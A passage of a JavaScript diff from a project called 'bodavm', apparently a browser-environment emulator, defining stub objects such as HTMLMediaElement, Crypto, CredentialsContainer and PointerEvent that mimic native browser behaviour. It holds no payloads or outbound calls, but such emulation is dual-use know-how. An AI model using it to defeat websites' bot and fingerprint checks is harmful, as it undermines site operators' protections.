'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "defaultPlaybackRate", { + configurable: true, + enumerable: true, + get: function defaultPlaybackRate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "defaultPlaybackRate_get", arguments); + }, + set: function defaultPlaybackRate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "defaultPlaybackRate_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "playbackRate", { + configurable: true, + enumerable: true, + get: function playbackRate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "playbackRate_get", arguments); + }, + set: function playbackRate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "playbackRate_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "played", { + configurable: true, + enumerable: true, + get: function played() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "played_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "seekable", { + configurable: true, + enumerable: true, + get: function seekable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "seekable_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "ended", { + configurable: true, + enumerable: true, + get: function ended() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "ended_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "autoplay", { + configurable: true, + enumerable: true, + get: function autoplay() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "autoplay_get", arguments); + }, + set: function autoplay() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "autoplay_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "loop", { + configurable: true, + enumerable: true, + get: function loop() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "loop_get", arguments); + }, + set: function loop() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "loop_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "preservesPitch", { + configurable: true, + enumerable: true, + get: function preservesPitch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "preservesPitch_get", arguments); + }, + set: function preservesPitch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "preservesPitch_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "controls", { + configurable: true, + enumerable: true, + get: function controls() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "controls_get", arguments); + }, + set: function controls() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "controls_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "controlsList", { + configurable: true, + enumerable: true, + get: function controlsList() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "controlsList_get", arguments); + }, + set: function controlsList() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "controlsList_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "volume", { + configurable: true, + enumerable: true, + get: function volume() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "volume_get", arguments); + }, + set: function volume() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "volume_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "muted", { + configurable: true, + enumerable: true, + get: function muted() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "muted_get", arguments); + }, + set: function muted() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "muted_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "defaultMuted", { + configurable: true, + enumerable: true, + get: function defaultMuted() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "defaultMuted_get", arguments); + }, + set: function defaultMuted() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "defaultMuted_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "textTracks", { + configurable: true, + enumerable: true, + get: function textTracks() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "textTracks_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "webkitAudioDecodedByteCount", { + configurable: true, + enumerable: true, + get: function webkitAudioDecodedByteCount() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "webkitAudioDecodedByteCount_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "webkitVideoDecodedByteCount", { + configurable: true, + enumerable: true, + get: function webkitVideoDecodedByteCount() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "webkitVideoDecodedByteCount_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "onencrypted", { + configurable: true, + enumerable: true, + get: function onencrypted() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "onencrypted_get", arguments); + }, + set: function onencrypted() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "onencrypted_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "onwaitingforkey", { + configurable: true, + enumerable: true, + get: function onwaitingforkey() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "onwaitingforkey_get", arguments); + }, + set: function onwaitingforkey() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "onwaitingforkey_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "srcObject", { + configurable: true, + enumerable: true, + get: function srcObject() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "srcObject_get", arguments); + }, + set: function srcObject() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "srcObject_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "NETWORK_EMPTY", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "NETWORK_IDLE", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "NETWORK_LOADING", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "NETWORK_NO_SOURCE", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "HAVE_NOTHING", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "HAVE_METADATA", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "HAVE_CURRENT_DATA", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "HAVE_FUTURE_DATA", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "HAVE_ENOUGH_DATA", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "addTextTrack", { + configurable: true, + enumerable: true, + writable: true, + value: function addTextTrack() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "addTextTrack", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "canPlayType", { + configurable: true, + enumerable: true, + writable: true, + value: function canPlayType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "canPlayType", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "captureStream", { + configurable: true, + enumerable: true, + writable: true, + value: function captureStream() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "captureStream", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "load", { + configurable: true, + enumerable: true, + writable: true, + value: function load() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "load", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "pause", { + configurable: true, + enumerable: true, + writable: true, + value: function pause() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "pause", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "play", { + configurable: true, + enumerable: true, + writable: true, + value: function play() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "play", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "sinkId", { + configurable: true, + enumerable: true, + get: function sinkId() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "sinkId_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "remote", { + configurable: true, + enumerable: true, + get: function remote() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "remote_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "disableRemotePlayback", { + configurable: true, + enumerable: true, + get: function disableRemotePlayback() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "disableRemotePlayback_get", arguments); + }, + set: function disableRemotePlayback() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "disableRemotePlayback_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "setSinkId", { + configurable: true, + enumerable: true, + writable: true, + value: function setSinkId() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "setSinkId", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "mediaKeys", { + configurable: true, + enumerable: true, + get: function mediaKeys() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "mediaKeys_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLMediaElement', "setMediaKeys", { + configurable: true, + enumerable: true, + writable: true, + value: function setMediaKeys() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLMediaElement'].prototype, "HTMLMediaElement", "setMediaKeys", arguments); + } +}, 'prototype'); +// Audio对象 + +bodavm.memory.globalobj['Audio'] = function Audio() { + console.log_copy('Audio 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.Audio(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Audio'], "Audio"); +bodavm.memory.globalobj['Audio'].prototype.__proto__ = bodavm.memory.globalobj['HTMLMediaElement'].prototype; +// HTMLAudioElement对象 + +bodavm.memory.globalobj['HTMLAudioElement'] = function HTMLAudioElement() { + console.log_copy('HTMLAudioElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLAudioElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLAudioElement'], "HTMLAudioElement"); +bodavm.memory.globalobj['HTMLAudioElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLMediaElement'].prototype; +bodavm.memory.globalobj['HTMLAudioElement'].__proto__ = bodavm.memory.globalobj['HTMLMediaElement']; +// Crypto对象 + +bodavm.memory.globalobj['Crypto'] = function Crypto() { + console.log_copy('Crypto 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof Crypto)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Crypto'], "Crypto"); +bodavm.toolsFunc.defineProperty('Crypto', "getRandomValues", { + configurable: true, + enumerable: true, + writable: true, + value: function getRandomValues() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Crypto'].prototype, "Crypto", "getRandomValues", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Crypto', "subtle", { + configurable: true, + enumerable: true, + get: function subtle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Crypto'].prototype, "Crypto", "subtle_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Crypto', "randomUUID", { + configurable: true, + enumerable: true, + writable: true, + value: function randomUUID() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Crypto'].prototype, "Crypto", "randomUUID", arguments); + } +}, 'prototype'); + +// crypto对象 + +bodavm.memory.globalobj['crypto'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.memory.globalobj['crypto'].__proto__ = bodavm.memory.globalobj['Crypto'].prototype; +// CDATASection对象 + +bodavm.memory.globalobj['CDATASection'] = function CDATASection() { + console.log_copy('CDATASection 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CDATASection)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CDATASection'], "CDATASection"); +bodavm.memory.globalobj['CDATASection'].prototype.__proto__ = bodavm.memory.globalobj['Text'].prototype; +bodavm.memory.globalobj['CDATASection'].__proto__ = bodavm.memory.globalobj['Text']; +// CredentialsContainer对象 + +bodavm.memory.globalobj['CredentialsContainer'] = function CredentialsContainer() { + console.log_copy('CredentialsContainer 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CredentialsContainer)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CredentialsContainer'], "CredentialsContainer"); +bodavm.toolsFunc.defineProperty('CredentialsContainer', "create", { + configurable: true, + enumerable: true, + writable: true, + value: function create() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CredentialsContainer'].prototype, "CredentialsContainer", "create", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CredentialsContainer', "get", { + configurable: true, + enumerable: true, + writable: true, + value: function get() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CredentialsContainer'].prototype, "CredentialsContainer", "get", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CredentialsContainer', "preventSilentAccess", { + configurable: true, + enumerable: true, + writable: true, + value: function preventSilentAccess() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CredentialsContainer'].prototype, "CredentialsContainer", "preventSilentAccess", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CredentialsContainer', "store", { + configurable: true, + enumerable: true, + writable: true, + value: function store() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CredentialsContainer'].prototype, "CredentialsContainer", "store", arguments); + } +}, 'prototype'); +// Comment对象 + +bodavm.memory.globalobj['Comment'] = function Comment() { + console.log_copy('Comment 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.Comment(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Comment'], "Comment"); +bodavm.memory.globalobj['Comment'].prototype.__proto__ = bodavm.memory.globalobj['CharacterData'].prototype; +bodavm.memory.globalobj['Comment'].__proto__ = bodavm.memory.globalobj['CharacterData']; +// DocumentFragment对象 + +bodavm.memory.globalobj['DocumentFragment'] = function DocumentFragment() { + console.log_copy('DocumentFragment 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.DocumentFragment(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DocumentFragment'], "DocumentFragment"); +bodavm.memory.globalobj['DocumentFragment'].prototype.__proto__ = bodavm.memory.globalobj['Node'].prototype; +bodavm.memory.globalobj['DocumentFragment'].__proto__ = bodavm.memory.globalobj['Node']; +bodavm.toolsFunc.defineProperty('DocumentFragment', "children", { + configurable: true, + enumerable: true, + get: function children() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentFragment'].prototype, "DocumentFragment", "children_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DocumentFragment', "firstElementChild", { + configurable: true, + enumerable: true, + get: function firstElementChild() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentFragment'].prototype, "DocumentFragment", "firstElementChild_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DocumentFragment', "lastElementChild", { + configurable: true, + enumerable: true, + get: function lastElementChild() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentFragment'].prototype, "DocumentFragment", "lastElementChild_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DocumentFragment', "childElementCount", { + configurable: true, + enumerable: true, + get: function childElementCount() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentFragment'].prototype, "DocumentFragment", "childElementCount_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DocumentFragment', "append", { + configurable: true, + enumerable: true, + writable: true, + value: function append() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentFragment'].prototype, "DocumentFragment", "append", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DocumentFragment', "getElementById", { + configurable: true, + enumerable: true, + writable: true, + value: function getElementById() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentFragment'].prototype, "DocumentFragment", "getElementById", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DocumentFragment', "prepend", { + configurable: true, + enumerable: true, + writable: true, + value: function prepend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentFragment'].prototype, "DocumentFragment", "prepend", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DocumentFragment', "querySelector", { + configurable: true, + enumerable: true, + writable: true, + value: function querySelector() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentFragment'].prototype, "DocumentFragment", "querySelector", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DocumentFragment', "querySelectorAll", { + configurable: true, + enumerable: true, + writable: true, + value: function querySelectorAll() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentFragment'].prototype, "DocumentFragment", "querySelectorAll", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DocumentFragment', "replaceChildren", { + configurable: true, + enumerable: true, + writable: true, + value: function replaceChildren() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentFragment'].prototype, "DocumentFragment", "replaceChildren", arguments); + } +}, 'prototype'); +// DocumentType对象 + +bodavm.memory.globalobj['DocumentType'] = function DocumentType() { + console.log_copy('DocumentType 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof DocumentType)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DocumentType'], "DocumentType"); +bodavm.memory.globalobj['DocumentType'].prototype.__proto__ = bodavm.memory.globalobj['Node'].prototype; +bodavm.memory.globalobj['DocumentType'].__proto__ = bodavm.memory.globalobj['Node']; +bodavm.toolsFunc.defineProperty('DocumentType', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentType'].prototype, "DocumentType", "name_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DocumentType', "publicId", { + configurable: true, + enumerable: true, + get: function publicId() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentType'].prototype, "DocumentType", "publicId_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DocumentType', "systemId", { + configurable: true, + enumerable: true, + get: function systemId() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentType'].prototype, "DocumentType", "systemId_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DocumentType', "after", { + configurable: true, + enumerable: true, + writable: true, + value: function after() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentType'].prototype, "DocumentType", "after", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DocumentType', "before", { + configurable: true, + enumerable: true, + writable: true, + value: function before() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentType'].prototype, "DocumentType", "before", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DocumentType', "remove", { + configurable: true, + enumerable: true, + writable: true, + value: function remove() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentType'].prototype, "DocumentType", "remove", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('DocumentType', "replaceWith", { + configurable: true, + enumerable: true, + writable: true, + value: function replaceWith() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DocumentType'].prototype, "DocumentType", "replaceWith", arguments); + } +}, 'prototype'); +// DOMParser对象 + +bodavm.memory.globalobj['DOMParser'] = function DOMParser() { + console.log_copy('DOMParser 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.DOMParser(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DOMParser'], "DOMParser"); +bodavm.toolsFunc.defineProperty('DOMParser', "parseFromString", { + configurable: true, + enumerable: true, + writable: true, + value: function parseFromString() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMParser'].prototype, "DOMParser", "parseFromString", arguments); + } +}, 'prototype'); +// Bluetooth对象 + +bodavm.memory.globalobj['Bluetooth'] = function Bluetooth() { + console.log_copy('Bluetooth 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof Bluetooth)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Bluetooth'], "Bluetooth"); +bodavm.memory.globalobj['Bluetooth'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['Bluetooth'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('Bluetooth', "getAvailability", { + configurable: true, + enumerable: true, + writable: true, + value: function getAvailability() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Bluetooth'].prototype, "Bluetooth", "getAvailability", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Bluetooth', "requestDevice", { + configurable: true, + enumerable: true, + writable: true, + value: function requestDevice() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Bluetooth'].prototype, "Bluetooth", "requestDevice", arguments); + } +}, 'prototype'); +// External对象 + +bodavm.memory.globalobj['External'] = function External() { + console.log_copy('External 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof External)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['External'], "External"); +bodavm.toolsFunc.defineProperty('External', "AddSearchProvider", { + configurable: true, + enumerable: true, + writable: true, + value: function AddSearchProvider() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['External'].prototype, "External", "AddSearchProvider", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('External', "IsSearchProviderInstalled", { + configurable: true, + enumerable: true, + writable: true, + value: function IsSearchProviderInstalled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['External'].prototype, "External", "IsSearchProviderInstalled", arguments); + } +}, 'prototype'); + +// external对象 + +bodavm.memory.globalobj['external'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.memory.globalobj['external'].__proto__ = bodavm.memory.globalobj['External'].prototype; +// PointerEvent对象 + +bodavm.memory.globalobj['PointerEvent'] = function PointerEvent() { + console.log_copy('PointerEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PointerEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'PointerEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PointerEvent'], "PointerEvent"); +bodavm.memory.globalobj['PointerEvent'].prototype.__proto__ = bodavm.memory.globalobj['MouseEvent'].prototype; +bodavm.memory.globalobj['PointerEvent'].__proto__ = bodavm.memory.globalobj['MouseEvent']; +bodavm.toolsFunc.defineProperty('PointerEvent', "pointerId", { + configurable: true, + enumerable: true, + get: function pointerId() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PointerEvent'].prototype, "PointerEvent", "pointerId_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PointerEvent', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PointerEvent'].prototype, "PointerEvent", "width_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PointerEvent', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PointerEvent'].prototype, "PointerEvent", "height_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PointerEvent', "pressure", { + configurable: true, + enumerable: true, + get: function pressure() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PointerEvent'].prototype, "PointerEvent", "pressure_get", arguments); + }, + set: undefined +}, 